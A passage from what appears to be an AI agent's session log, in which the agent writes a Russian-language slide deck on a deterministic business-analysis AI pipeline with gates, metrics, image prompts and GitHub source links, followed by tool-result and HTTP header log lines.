\u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438 \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430; \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u2014 \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430\\n   \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n4. **\u0413\u0435\u0439\u0442\u044b:** `G-mach` \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, `G-human` \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\\n   \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435 \u0432\u044b\u0431\u043e\u0440\u044b.\\n5. **\u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f:** \u043e\u0434\u0438\u043d \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432\\n   \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** \u0434\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439\\n> Release \u2014 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d.\\n\\n**\u0413\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432:**\\n\\n| \u042d\u0442\u0430\u043f | \u0421\u0442\u0430\u0442\u0443\u0441 |\\n| --- | --- |\\n| \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f | \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c (\u0441\u0440\u0435\u0437 `contact-center`) |\\n| `G-mach`, \u0441\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release | \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e |\\n| `G-human` | \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u0435\u0441\u0442\u044c, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 |\\n| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-DEV, V-CONTRACT | \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0447\u0430\u0441\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d\u0430 |\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA clean horizontal production line: raw crumpled requests enter on the\\nleft, pass a sorting station, a library shelf where each item is\\nstamped with a source tag, a golden mould that shapes identical\\ndocuments, a machine scanner gate, a human inspector's desk, and exit\\non the right as four neatly labelled output trays.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 BCREQ](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[RFC Working \u2192 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md),\\n[\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden),\\n[\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0413-16 \u043e \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c\u0435 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0411\u043b\u043e\u043a 6. \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.**\\n\\n- **\u0421\u0435\u0439\u0447\u0430\u0441:** \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0430 \u0410\u0420\u041c \u0411\u0410 \u2014 GigaCode CLI \u0438 Cline + Mango AI.\\n  \u041e\u0434\u0438\u043d Source, \u0434\u0432\u0430 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430.\\n- **\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b:** \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b\\n  \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432 Cline \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c.\\n- **\u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430:** \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430.\\n- **\u0412\u0435\u043a\u0442\u043e\u0440:** runner \u043d\u0430 \u0410\u0420\u041c \u043a\u0430\u043a \u043b\u0438\u0434\u0435\u0440, \u0437\u0430\u0442\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0421\u0440\u0435\u0434\u0430 4 \u2014 \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e\\n  \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0438\u0441: \u0441\u0432\u043e\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0445\u0435\u0448\u0435\u0439, Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API.\\n\\n> **\u041f\u0440\u0438\u043d\u0446\u0438\u043f:** \u0430\u0433\u0435\u043d\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0443\u0437\u043b\u0430, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c\\n> (\u00abown your control flow\u00bb).\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0434\u0432\u0435 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u00ab\u0410\u0420\u041c \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u00bb \u0438 \u00ab\u0421\u0440\u0435\u0434\u0430 4\u00bb; \u043e\u0431\u0449\u0438\u0439\\n\u0431\u043b\u043e\u043a \u044f\u0434\u0440\u0430 runner \u043f\u043e \u0446\u0435\u043d\u0442\u0440\u0443.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nOn the left a single analyst's desk with a laptop and a small engine\\nblock glowing on it; an arrow leads to the right where the very same\\nengine block is installed at the centre of a compact server room,\\nnow connected by clean cables to several desks and a secure vault.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n[ADR-017: Source \u2192 Distribution \u2192 Runtime](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\n[ADR-018: \u0433\u0440\u0430\u043d\u0438\u0446\u0430 GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md),\\n[ADR-019: \u043f\u0438\u043b\u043e\u0442 Cline + Mango AI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0411\u043b\u043e\u043a 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\\n  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0438 \u0441\u043b\u0435\u0434\u043e\u043c \u0434\u043e\\n  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f, \u0430 \u043d\u0435 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0433\u043b\u0430\u0437: `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, `M-2`\\n  \u043e\u0442\u043a\u0430\u0437\u044b `G-mach`, `M-3` \u043f\u0440\u0430\u0432\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 = 100%.\\n- \u041a\u0430\u0436\u0434\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u043d\u043e\u0440\u043c\u044b, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441\\n  \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n> **\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f:** \u0441\u0440\u0435\u0437 \u0443\u0441\u043f\u0435\u0448\u0435\u043d, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0432\u044b\u0448\u0435\\n> \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 0.0 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442\\n> \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0432\u043e\u0440\u043e\u043d\u043a\u0430 \u00ab\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u043b\u0438\u043d\u0438\u0438 \u2192 \u043e\u0434\u0438\u043d \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u2192\\n\u0421\u0410 / \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 / \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u00bb \u0438 \u0441\u0442\u0440\u043e\u043a\u0430 \u043c\u0435\u0442\u0440\u0438\u043a M-1\u2026M-4.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nSeveral different product streams of varied shapes enter a single\\nprecision-machined standard coupling; on the other side they leave as\\nidentical, perfectly fitting connectors that plug directly into three\\nreceiving machines representing analysis, development and a signed\\ncontract.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[ADR-017: \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0432 Source](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\n[\u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u0427\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4, \u043d\u0443\u0436\u043d\u044b \u0442\u0440\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n**\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\\n\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 1:** \u0434\u043e\u0441\u0442\u0443\u043f \u043a Mango AI \u043f\u043e OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0433\u043e\\n  runner'\u0430 \u2014 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 2:** \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 10 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 contact-center \u0441 \u0437\u0430\u043c\u0435\u0440\u043e\u043c\\n  `M-1`\u2026`M-4` \u0434\u043e \u0438 \u043f\u043e\u0441\u043b\u0435.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 3:** \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043c\u0435\u043d\u044c\u0448\u0435 95%\\n  \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430\\n  \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0427\u0442\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n> **\u0417\u0430\u043f\u0440\u043e\u0441:** \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u00ab\u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\\n> \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nThree illuminated switches on a clean control panel, two already in\\nthe on position and one waiting; behind the panel a calm, well-lit\\nserver room is ready to power up.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0441\u0440\u0435\u0434\u0430\u043c \u0438 \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\\n---\\n\\n## \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u041a\u0430\u0440\u0442\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\\n\\n| \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 | \u0413\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c |\\n| --- | --- |\\n| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430, \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 | [`mango_ba_prompts/runs`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs), [\u0441\u043d\u0438\u043c\u043e\u043a \u043a\u043e\u0440\u043f\u0443\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md) |\\n| 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u044b \u043f\u043e \u0434\u0435\u0444\u0435\u043a\u0442\u0430\u043c, 4 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) |\\n| `M-1 = 0.0`, 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 | [\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md) |\\n| 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 | [\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md) |\\n| \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b `MM-1`\u2026`MM-4` | [\u0442\u0435\u043e\u0440\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) |\\n| 31 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[\u0413-16](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md) |\\n| \u0423 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f; \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 n1\u2013n3 | [\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md) |\\n\",\n[2026-09-29T07:49:33.568Z] [INFO]     \"structuredPatch\": [],\n[2026-09-29T07:49:33.568Z] [INFO]     \"originalFile\": null,\n[2026-09-29T07:49:33.568Z] [INFO]     \"userModified\": false\n[2026-09-29T07:49:33.568Z] [INFO]   }\n[2026-09-29T07:49:33.568Z] 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\"cloudflare\",\n[2026-09-29T07:49:34.504Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:49:34.510Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:49:34.522Z] [STDOUT]   \"cf-ray\": \"a42964504d1bdbb5-FRA\",\n[2026-09-29T07:49:34.524Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:49:34.530Z] [STDOUT] [log_ff2eba] response parsed {\n[2026-09-29T07:49:34.544Z] 